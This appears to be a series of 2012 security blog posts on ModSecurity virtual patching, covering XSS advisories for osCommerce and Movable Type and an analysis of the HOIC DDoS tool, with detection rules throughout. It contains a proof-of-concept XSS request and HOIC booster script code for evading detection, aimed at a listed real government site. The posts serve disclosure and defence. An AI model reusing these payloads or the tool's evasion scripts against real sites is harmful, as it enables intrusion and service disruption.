Integrating Virtual Patches with the OWASP ModSecurity CRSThe ModSecurity Core Rule Set uses the concept of "generic attack payload detection" where it has many different methods of identifying malicious payloads where ever they may exist. It does not, however, know if this is a known vulnerable injection point. The result is that there is a higher degree of false positives. When we uuse both the CRS generic detection along with the known attack injection point intelligence from the vulnerability scanner XML output, the user can have an increased confidence in blocking. Running the Virtual Patching Scripts To run the scripts, simply specify which XML file to use as input:
$ ./zap2modsec.plFlag:
-f: path to ZAP xml report file
Usage:
./zap2modsec.pl -f ./zap_report.xml
$ ./zap2modsec.pl -f ./zap-acuforum.xml
==================================================================================================
Vulnerability[10] - Type: SQL Injection Fingerprinting
Found a SQL Injection Fingerprinting vulnerability.
Validating URL: http://testasp.vulnweb.com/Search.asp?tfSearch='INJECTED_PARAM
URL is well-formed
Continuing Rule Generation
Current vulnerable Param(s): tfSearch
==================================================================================================
Vulnerability[11] - Type: SQL Injection
Found a SQL Injection vulnerability.
Validating URL: http://testasp.vulnweb.com/Search.asp?tfSearch='INJECTED_PARAM
URL is well-formed
Continuing Rule Generation
Current vulnerable Param(s): tfSearch
SQL Injection (uricontent and param) rule successfully generated and saved in ./modsecurity_crs_48_virtual_patches.conf.
==================================================================================================
Vulnerability[12] - Type: Cross Site Scripting
Found a Cross Site Scripting vulnerability.
Validating URL: http://testasp.vulnweb.com/Search.asp?tfSearch=javascript:alert(1);
URL is well-formed
Continuing Rule Generation
Current vulnerable Param(s): tfSearch
Cross Site Scripting (uricontent and param) rule successfully generated and saved in ./modsecurity_crs_48_virtual_patches.conf.
==================================================================================================
************ END OF SCRIPT RESULTS *****************
Number of Vulnerabilities Processed: 17
Number of ModSecurity rules generated: 2
Number of Unsupported vulns skipped: 14
Number of bad URLs (rules not gen): 0
****************************************************
----------------------------------------------------
To activate the virtual patching file (./modsecurity_crs_48_virtual_patches.conf),
copy it into the CRS "base_rules" directory and then create
a symlink to it in the "activated_rules" directory.
-----------------------------------------------------
As you can see, there were both Cross-site Scripting and SQL Injection vulns found within the ZAP report. Let's now take a look at an example ModSecurity rule created based on the vuln data:
## OWASP ZAP Virtual Patch Details:
# ID: 111
# Type: SQL Injection
# Vulnerable URL: Search.asp
# Vulnerable Parameter: tfSearch
#
SecRule REQUEST_FILENAME "Search.asp" "chain,phase:2,t:none,block,msg:'Virtual Patch for SQL Injection',id:'111',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{matched_var_name}',severity:'2'"
SecRule &TX:'/SQL_INJECTION.*ARGS:tfSearch/' "@gt 0" "setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}"
As you can see, the first SecRule is checking the request line data to make sure that it matches the vulnerable resource. We then run a 2nd chained rule that, instead of looking separately for the existence of the parameter name and a regex match, it simply inspects previously matched TX variable meta-data. In this case, if a previous CRS rules had already identified an SQL Injection attack payload in the "ARGS:tfSearcht" parameter location, then the rule matches.
Virtual Patching Workshop at OWASP AppSecDCIf you would like to participate in a hands-on virtual patching workshop, you can sign up for the OWASP AppSecDC event. I will be leading this 2-day training session (April 2nd - 3rd, 2012) where we will not only discuss virtual patching theory but also have numerous hands-on labs where you can try to virtually patch many of the OWASP WebGoat vulnerabilties.
TWSL2012-005: Cross-Site Scripting Vulnerability in osCommerce Platform
Trustwave SpiderLabs has published a new advisory today for a Cross-Site Scripting vulnerability discovered in the osCommerce installation script. Currently, osCommerce version 3.0.2 and prior are affected. This finding is based on that the "name" parameter on the 'index.php' page during installation is not sanitized and results in XSS. Jonathan Claudius who is a member of the SpiderLabs Research team discovered this vulnerability while implementing TrustKeeper probes for eCommerce solutions.
The osCommerce point-of-contact declined to comment for this finding. However, Trustwave SpiderLabs urges caution in situations where the osCommerce installation script is provided as part of a default image. This is often done as a convenience on hosting providers, even incases where the organization does not use the software. It is a best practice to ensure that no installation scripts are exposed to outsiders, and these vulnerabilities reinforce the importance of this step.
For further protection, SpiderLabs has added rules to the commercial rules feed for ModSecurity to mitigate these issues and our TrustKeeper scanning solution is updated to detect exposed installation scripts. The following are the ModSecurity commercial rules developed to identify these malicious payloads:
Cross Site Scripting Vulnerabilities via 'index.php' page
SecRule REQUEST_LINE "@contains index.php" "chain,phase:2,block,t:none,t:urlDecodeUni,capture,logdata:'%{matched_var}',severity:'2',id:2100011,msg:'SLR: Security Advisory TWSL2012-005: Cross-site Scripting Attack in osCommerce',tag:'WEB_ATTACK/XSS',tag:'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-005.txt'" SecRule QUERY_STRING "@streq RPC&Setup&Install&DBCheck" "chain" SecRule "ARGS:name" "@pm < > \" ( ) : = ;"A huge thanks to Ryan Barnett for writing the ModSecurity commercial rules and the Research team for developing the detection rules for TrustKeeper. The full advisory can be viewed by visiting:
https://www.trustwave.com/spiderlabs/advisories/TWSL2012-005.txt
Virtual Patch for Movable Types XSS (CVE 2012-1262)
My SpiderLabs Research colleague Jonathan Claudius recently identified an XSS flaw in the Movable Types application which was outlined in Trustwave Security Advisory TWSL2012-003. Here is the quick overview of the issue:
After extracting the Moveable Type CGI files and source files on to a web server, but before the application is fully installed, cross-site scripting vulnerabilities are present in the '/cgi-bin/mt/mt-wizard.cgi' page. Example(s): Performing XSS on "dbuser" parameter #Request POST /cgi-bin/mt/mt-wizard.cgi HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-alive Referer: http://A.B.C.D/cgi-bin/mt/mt-wizard.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 216 __mode=test&step=configure&set_static_uri_to=&default_language=en-us&config=&dbtype=mysql&dbserver=localhost&dbname=&dbuser=%3Cscript%3Ealert%28%27123%27%29%3C%2Fscript%3E&dbpass=test&dbpath=&dbport=&dbsocket=&test=1 #Response <--------------snip-----------> <p>Connection error: Access denied for user '<script>alert('123')</script>'@'localhost' (using password: YES) at /var/www/cgi-bin/mt/extlib/Data/ObjectDriver/Driver/BaseCache.pm line 320 <--------------snip-----------> ModSecurity Virtual PatchHere is a ModSecurity virtual patch for this issue that we added to our Commercial Rules Feed:
## (2100009) ModSecurity Rules from Trustwave SpiderLabs: Security Advisory TWSL2012-003: Cross-Site Scripting Vulnerability in Movable Type Publishing Platform
#
# https://www.trustwave.com/spiderlabs/advisories/TWSL2012-003.txt
#
SecRule REQUEST_FILENAME "@streq /cgi-bin/mt/mt-wizard.cgi" "chain,phase:2,t:none,block,id:'2100009',msg:'SLR: Security Advisory TWSL2012-003: Cross-site Scripting Attack in Movable Type Publishing Platform.',logdata:'%{matched_var}',severity:'2',tag:'WEB_ATTACK/XSS',tag:'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-003.txt'"
SecRule ARGS_POST:dbuser "!^[a-zA-Z0-9]+$"
This virtual patch will ensure that the "dbuser" payload on the /cgi-bin/mt/mt-wizard.cgi script only contains alphanumeric characters.
Time-to-FixFrom a time-to-fix perspective, this virtual patch was created very quickly. It took me all of about 5 minutes to develop. These rules can then be implemented across an entire server farm is short order to proctect all effected applications. Think of this from the perspective of a web hosting provider. They are the most at risk of this particular issues as they often initially provision applications such as Movable Types for this end users but then these applications wait, in this insecure state, until the user completes the installations.
Contrast this expediated timeline vs. the time it took the vendor to release a patch for this issue:
Revision History: 01/11/12 - Vulnerability disclosed 02/21/12 - Patch released 02/24/12 - Advisory publishedIt took them an entire month to release a patch for users.
OWASP Virtual Patching Workshop at AppSecDCIf you would like to learn more about virtual patching and try some hands on exercises, please consider joining me at the upcoming OWASP AppSecDC conference for the Virtual Patching Workshop. We will be diving in-depth on all these issues.
HOIC DDoS Analysis and Detection
In a previous blog post, we provided details of a DDoS attack tool called LOIC (Low Orbit Ion Canon) used by Anonymous in supports of denial of service attacks over the past year. Attackers are constantly changing their tactics and tools in response to defender's actions. Recently, the SANS Internet Storm Center (ISC) also highlighted a javascript verion of LOIC that, while generating the same attack traffic as our previous analysis showed, actually executed the attacks without the user "initiating" the attacks by pressing any buttons.
SpiderLabs has identified a new DDoS attack tool in circulation called HOIC (High Orbit Ion Canon).
While it seems that most of the dowload links have been removed by law enforcement agencies, we were able to obtain a copy and have conduct dynamic analysis on it. Here are our findings.
HOIC AnalysisHOIC is an Windows executable file. Once started, you will be presented with the following GUI screen:
If the attacker clicks on the + sign under TARGETS they get another pop-up box where you can specify target data.
The attacker can then specify the following Target data:
- URL - is the target website to attack
- Power -> sets the request velocity. Initial testing shows the following:
- Low = ~2 requests/sec for eacch THREAD defined on the main GUI
- Mediem = ~4 requests/sec for each THREAD defined on the main GUI
- High - ~8 requests/sec for each THREAD defined on the main GUI
- Booster - are config scripts that define the dynamic request attributes
After the attacker clicks on the Add button, they are taken back to the main screen.
The attacker can then adjust the THREADS number if desired to further increase the strength of the attack. When they are ready to lauch the attack, they click on the "FIRE TEH LAZER!" button. With the default settings shown above, the HTTP requests look like this:
If the target web server was Apache, example access_log entries would look like this:
72.192.214.223 - - [27/Jan/2012:08:57:59 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:57:59 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:01 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:01 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:01 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:01 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:03 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" 72.192.214.223 - - [27/Jan/2012:08:58:03 -0600] "GET / HTTP/1.0" 200 21124 "-" "-" What makes HOIC different from LOIC?Looking at this attack data, you may be asking yourself "How is HOIC different from LOIC?" First of all, LOIC had both TCP and UDP DDoS attacks in addition to HTTP attacks were as HOIC is strictly an HTTP DoS tool. The real difference, or enhancement, that HOIC has over LOIC is its use of what it calls "Booster Scripts."
Booster ScriptsThis is taken directly from the HOIC DOCUMENTATION FOR HACKERS text file:
OK!So BASICALLY
HOIC is pretty useless
UNLESS it is used incombination with "BOOSTERS", AKA "SCRIPTS"/BOOST PACKS / BOOM BOOM POWER
These boosters come in the form of .HOIC scripts.
hoic scripts are very simple and follow VB6 mixed with vb.net syntax although slightly altered
here are the functions and globals that relate the HOIC:
booster -> This is a global variable that contains the contents of the current script (string)
Headers -> This is a global variable that is an array of strings, and will be used to form headers in requests sent to the target URL. To add a header, simply do something like this:
Headers.Append("User-Agent: penis") or Headers.Append("User-Agent: penis x" + CStr(powerFactor)
lbIndex -> Index into list box (cant really be used outside of the program, useless to developers)
PostBuffer -> String buffer containig post paramets, ie PostBuffer = "lol=2&lolxd=5"
powerFactor -> Integer from 0-2, 0 being low, 1 being medium , 2 being high
totalbytessent -> a count of the number of bytes sent to the target already (presistent across each attack)
URL -> url to attack
UsePost -> boolean, true = uses post, otherwise itll use get
Let's take a look at a booster script called GenericBoost.hoic:
Dim useragents() as StringDim referers() as String
dim randheaders() as string
// EDIT THE FOLLOWING STRINGS TO MAKE YOUR OWN BOOST UNIQUE AND THEREFORE MORE EVASIVE!
// populate list
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"
useragents.Append "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)"
useragents.Append "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)"
useragents.Append "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"
useragents.Append "Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.1; .NET CLR 1.1.4322)"
useragents.Append "Googlebot/2.1 ( http://www.googlebot.com/bot.html) "
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14"
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14"
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13"
useragents.Append "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13"
useragents.Append "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727)"
useragents.Append "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320)"
useragents.Append "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5"
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16"
useragents.Append "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51"
useragents.Append "Mozilla/5.0 (Windows NT 5.1; U; Firefox/5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53"
// populate referer list
referers.Append "http://www.google.com/?q="+URL
referers.Append URL
referers.Append "http://www.google.com/"
referers.Append "http://www.yahoo.com/"
// Add random headers
randheaders.Append "Cache-Control: no-cache"
randheaders.Append "If-Modified-Since: Sat, 29 Oct 1994 11:59:59 GMT"
randheaders.Append "If-Modified-Since: Tue, 18 Aug 2007 12:54:49 GMT"
randheaders.Append "If-Modified-Since: Wed, 30 Jan 2000 01:21:09 GMT"
randheaders.Append "If-Modified-Since: Tue, 18 Aug 2009 08:49:15 GMT"
randheaders.Append "If-Modified-Since: Fri, 20 Oct 2006 09:34:27 GMT"
randheaders.Append "If-Modified-Since: Mon, 29 Oct 2007 11:59:59 GMT"
randheaders.Append "If-Modified-Since: Tue, 18 Aug 2003 12:54:49 GMT"
// ------------------ DO NOT EDIT BELOW THIS LINE
// generate random referer
Headers.Append "Referer: " + referers(RndNumber(0, referers.UBound))
// generate random user agent (DO NOT MODIFY THIS LINE)
Headers.Append "User-Agent: " + useragents(RndNumber(0, useragents.UBound))
// Generate random headers
Headers.Append randheaders(RndNumber(0, randheaders.UBound))
As you can see, the booster scripts set groups of various request header data including User-Agent, Referer and Cache-Control/If-Modified-Since data and will randomize the various combinations during attacks. After specifying the GenericBoost.hoic script and re-launching the attack, you can see that these request items are no longer static and instead randomly rotate between these data pieces:
Example HOIC Attack Request #1 GET / HTTP/1.0Accept: */*
Accept-Language: en
Referer: http://www.hoic_target_site.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.1; .NET CLR 1.1.4322)
If-Modified-Since: Sat, 29 Oct 1994 11:59:59 GMT
Host: www.hoic_target_site.com
Example HOIC Attack Request #2 GET / HTTP/1.0
Accept: */*
Accept-Language: en
Referer: http://www.yahoo.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13
If-Modified-Since: Tue, 18 Aug 2003 12:54:49 GMT
Host: www.hoic_target_site.com
In addition to the GenericBoost.hoic file, there are two other scripts that target specific web sites. One script is specifically targeting a government web site in retaliation for prosecuting someone for using LOIC is previous attacks. The hoic file includes random URLs on the target website to hit:
// populate rotating urls// IF YOU WANT TO IMPROVE THE ATTACK, ADD URLS BELONGING TO THIS DOMAIN OR RELATED SUBDOMAINS!!! PRO-TIP: You should create anew target and .HOIC file if u want to attack a
different organization
randURLs.Append "http://www.om.nl/"
randURLs.Append "http://www.om.nl/onderwerpen/cybercrime/"
randURLs.Append "http://www.om.nl/vast_menu_blok/contact/"
randURLs.Append "http://www.om.nl/actueel/nieuws-_en/"
randURLs.Append "http://www.om.nl/actueel/columns/"
randURLs.Append "http://www.om.nl/organisatie/"
randURLs.Append "http://www.om.nl/actueel/omtv_0/"
randURLs.Append "http://www.om.nl/"
randURLs.Append "http://www.om.nl/?rss=true"
randURLs.Append "http://www.om.nl/"
randURLs.Append "http://www.om.nl/actueel/strafzaken/"
randURLs.Append "http://www.om.nl/"
randURLs.Append "http://www.om.nl/actueel/publicaties/"
randURLs.Append "http://www.om.nl/organisatie/item_144364/"
randURLs.Append "http://www.om.nl/"
randURLs.Append "http://www.om.nl/onderwerpen/drugs/"
randURLs.Append "http://www.om.nl/onderwerpen/commissie_evaluatie/"
randURLs.Append "http://www.om.nl/actueel/agenda/"
randURLs.Append "http://www.om.nl/actueel/strafzaken/"
randURLs.Append "http://www.om.nl/onderwerpen/bouwfraude/"
randURLs.Append "http://www.om.nl/onderwerpen/mensenhandel_en/"
randURLs.Append "http://www.om.nl/onderwerpen/snelrecht_en/"
randURLs.Append "http://www.om.nl/"
randURLs.Append "http://www.om.nl/onderwerpen/voorkennis/"
randURLs.Append "http://www.om.nl/actueel/agenda/"
By randomizing these request characteristics, it makes things more challenging for defenders to create defensive rules to identify the individual attack payloads. While it does make detection more difficult, it is still possible.
HOIC DetectionWhile the HOIC requests try to evade detection through randomization techniques, there are still some request attributes which can be used for identification of attack traffic. Most of these tell-tale signs are based on abnormalities vs. real web web browsers.
Generic DoS DetectionBefore we discuss some of the unique identifiers of HOIC traffic, we wanted to make sure to highlight the generic detection of automated DoS detection through traffic velocity violations. The OWASP ModSecurity Core Rule Set (CRS) has a denial of service detection rule set that can identify DoS attacks. The ModSecurity admin only needs to activate the file and then edit the following directives in the modsecurity_crs_10_config.conf file:
## -=[ DoS Protection ]=-
#
# If you are using the DoS Protection rule set, then uncomment the following
# lines and set the following variables:
# - Burst Time Slice Interval: time interval window to monitor for bursts
# - Request Threshold: request # threshold to trigger a burst
# - Block Period: temporary block timeout
#
SecAction "phase:1,id:'981215',t:none,nolog,pass, \
setvar:'tx.dos_burst_time_slice=60', \
setvar:'tx.dos_counter_threshold=100', \
setvar:'tx.dos_block_timeout=600'"
When a HOIC attack is run against the ModSecurity site, the following alerts will be generated:
[Fri Jan 27 13:44:39 2012] [error] [client 192.168.1.103] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/usr/local/apache/conf/crs/base_rules/modsecurity_crs_11_dos_protection.conf"] [line "11"] [id "981044"] [msg "Denial of Service (DoS) Attack Identified from 192.168.1.103 (237 hits since last alert)"] [hostname "192.168.1.100"] [uri "/"] [unique_id "TyLwl8CoAWQAATFkSFoAAAAG"]These rules will initiate the drop action on all traffic from the attacker source and will provide periodic alerting with traffic stat counts). Besides alerting on traffic velocity violations, there are a numbe of other HOIC-specific attributes that may prove useful in the short-term to uniquely identify the attack tool in use.
HTTP Version and Host HeaderAll of the requests specify "HTTP/1.0" however they also include the "Host:" request header, which wasn't introduced until HTTP/1.1. The Host header's main purpose was to help conserve IP address space by allowing name-based virtual hosting. Without a Host header, each web site would have to have a unique IP address.
With this detection mechanism in mind, we can use the following ModSecurity rule to generically catch any HTTP/1.0 client that submits a Host header:
SecRule &REQUEST_HEADERS:Host "@eq 1" "chain,phase:1,t:none,log,block,msg:'HTTP v1.0 Client Anomaly - Host Header Sent.'" SecRule REQUEST_PROTOCOL "!@streq HTTP/1.1" HTTP Request Header OrderingWhile the request header names and payloads, in and of themselves, are valid, the order in which they are defined in the request do not match what normal web browsers would send. Two good references for Browser Fingerpringing/Header Ordering are the Browser Recon Project and p0f3 (passive OS fingerprinting).
Browser Recon ProjectThe Browser Recon Project has a Header Order DB with info on a large number of HTTP clients. The only limitation with this dataset is that it is quite old. The last update was in June 2008.
p0f3Michal Zalewski recently updated his Passive OS Finferprinting (p0s) tool to v3 which includes application layer fingerprinting capabilities. This includes analysis of HTTP clients by means of header ordering analysis. Here is a section of the p0f.fp file for HTTP Client Fingerprints for Microsoft's Internet Explorer and for Google's Chrome browsers:
; ---- ; MSIE ; ---- label = s:!:MSIE:8 or newer sys = Windows sig = 1:Accept=[*/*],?Referer,?Accept-Language,User-Agent,Accept-Encoding=[gzip, deflate],Host,Connection=[Keep-Alive]:Keep-Alive,Accept-Charset,UA-CPU:(compatible; MSIE sig = 1:Accept=[*/*],?Referer,?Accept-Language,Accept-Encoding=[gzip, deflate],User-Agent,Host,Connection=[Keep-Alive]:Keep-Alive,Accept-Charset:(compatible; MSIE label = s:!:MSIE:7 sys = Windows sig = 1:Accept=[*/*],?Referer,?Accept-Language,UA-CPU,User-Agent,Accept-Encoding=[gzip, deflate],Host,Connection=[Keep-Alive]:Keep-Alive,Accept-Charset:(compatible; MSIE ; TODO: Check if this one ever uses Accept-Language, etc. Also try to find MSIE 5. label = s:!:MSIE:6 sys = Windows sig = 0:Accept=[*/*],?Referer,User-Agent,Host:Keep-Alive,Connection,Accept-Encoding,Accept-Language,Accept-Charset:(compatible; MSIE sig = 1:Accept=[*/*],Connection=[Keep-Alive],Host,?Pragma=[no-cache],?Range,?Referer,User-Agent:Keep-Alive,Accept-Encoding,Accept-Language,Accept-Charset:(compatible; MSIE ; ------ ; Chrome; ------ label = s:!:Chrome:11 or newer sys = Windows,@unix sig = 1:Host,Connection=[keep-alive],User-Agent,Accept=[*/*],?Referer,Accept-Encoding=[gzip,deflate,sdch],Accept-Language,Accept-Charset=[utf-8;q=0.7,*;q=0.3]:: Chrom sig = 1:Host,Connection=[keep-alive],User-Agent,Accept=[*/*],?Referer,Accept-Encoding=[gzip,deflate,sdch],Accept-Language,Accept-Charset=[UTF-8,*;q=0.5]:: Chrom sig = 1:Host,User-Agent,Accept=[*/*],?Referer,Accept-Encoding=[gzip,deflate,sdch],Accept-Language,Accept-Charset=[utf-8;q=0.7,*;q=0.3],Connection=[keep-alive]::ChromBy examining the valid header ordering shown here in p0f3, we can identify that the HOIC header ordering is abnormal. The easiest charcteristing to notice is that, in HOIC, the Host header is always listed last in the header order while this is not the case in any legitimate browsers.
The following ModSecurity rule will inspect the current header odering of the client request and then alert if the Host header is listed last:
SecRule REQUEST_HEADERS_NAMES ".*" "chain,phase:1,t:none,log,block,msg:'Request Header Anomaly - Host Header Listed Last.',setvar:'tx.header_order=%{tx.header_order}, %{matched_var}'" SecRule TX:HEADER_ORDER "@endsWith , Host"This rule uses ModSecurity's macro expansion capability to create a custom variable which captures the order of the request header names. Here is an example from the debug log showing how this rule processing works:
Recipe: Invoking rule 1015de5c0; [file "/usr/local/apache/conf/crs/base_rules/modsecurity_crs_15_custom.conf"] [line "1"]. Rule 1015de5c0: SecRule "REQUEST_HEADERS_NAMES" "@rx .*" "phase:1,chain,t:none,log,block,msg:'Request Header Anomaly - Host Header Listed Last.',setvar:'tx.header_order=%{t x.header_order}, %{matched_var}'" Expanded "REQUEST_HEADERS_NAMES" to "REQUEST_HEADERS_NAMES:Accept|REQUEST_HEADERS_NAMES:Accept-Language|REQUEST_HEADERS_NAMES:Referer|REQUEST_HEADERS_NAMES:User-Agent|REQUE ST_HEADERS_NAMES:If-Modified-Since|REQUEST_HEADERS_NAMES:Host". Transformation completed in 1 usec. Executing operator "rx" with param ".*" against REQUEST_HEADERS_NAMES:Accept. Target value: "Accept" Operator completed in 2 usec. Setting variable: tx.header_order=%{tx.header_order}, %{matched_var} Resolved macro %{matched_var} to: Accept Set variable "tx.header_order" to ", Accept". Transformation completed in 0 usec. Executing operator "rx" with param ".*" against REQUEST_HEADERS_NAMES:Accept-Language. Target value: "Accept-Language" Operator completed in 1 usec. Setting variable: tx.header_order=%{tx.header_order}, %{matched_var} Resolved macro %{tx.header_order} to: , Accept Resolved macro %{matched_var} to: Accept-Language Set variable "tx.header_order" to ", Accept, Accept-Language". ... --CUT-- ... Executing operator "rx" with param ".*" against REQUEST_HEADERS_NAMES:Host. Target value: "Host" Operator completed in 1 usec. Setting variable: tx.header_order=%{tx.header_order}, %{matched_var} Resolved macro %{tx.header_order} to: , Accept, Accept-Language, Referer, User-Agent, If-Modified-Since Resolved macro %{matched_var} to: Host Set variable "tx.header_order" to ", Accept, Accept-Language, Referer, User-Agent, If-Modified-Since, Host". Rule returned 1. Match -> mode NEXT_RULE. Recipe: Invoking rule 1015df398; [file "/usr/local/apache/conf/crs/base_rules/modsecurity_crs_15_custom.conf"] [line "2"]. Rule 1015df398: SecRule "TX:HEADER_ORDER" "@endsWith , Host" Transformation completed in 0 usec. Executing operator "endsWith" with param ", Host" against TX:header_order. Target value: ", Accept, Accept-Language, Referer, User-Agent, If-Modified-Since, Host" Operator completed in 8 usec. Warning. String match ", Host" at TX:header_order. [file "/usr/local/apache/conf/crs/base_rules/modsecurity_crs_15_custom.conf"] [line "1"] [msg "Request Header Anomaly - H ost Header Listed Last."] Leading Space Character AnomaliesAnother interesting characteristic of HOIC traffic is that many of the Request Header payloads have leading double-spaces in them. Look at this pcap capture in wireshark:
In this screenshot, we are highlighting the Keep-Alive field. Notice that after the Header Name and semi-colon, that there is actually two space characters (20 20) before the 115 payload text in the hex window. There are actually a number of headers that exhibit this behavior in this request. After analyzing the varsious .hoic files included in the download, we determined that this can be reliably flagged on the User-Agent field as it is included with almost all requests.
We attempted to create a ModSecurity rule to detect this issue, however Apache is executing some pre-processing on the header values before passing this data off to ModSecurity and these leading space characters are not visible to ModSecurity.
If you are running Snort IDS, you can use the following rule (Thanks to SpiderLabs' Rodrigo Montoro) to detect this same traffic on the network prior to reaching the web server:
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SLR Alert - HOIC Generic Detection with booster - HTTP 1.0 / Header Double Spacing"; flow:established,to_server; content:"User-Agent|3a 20 20|"; nocase; content:"HTTP/1|2e|0"; nocase; reference:url,blog.spiderlabs.com; threshold: type both, track by_src, count 15, seconds 30; classtype: slr-tw; sid:1; rev:1; )

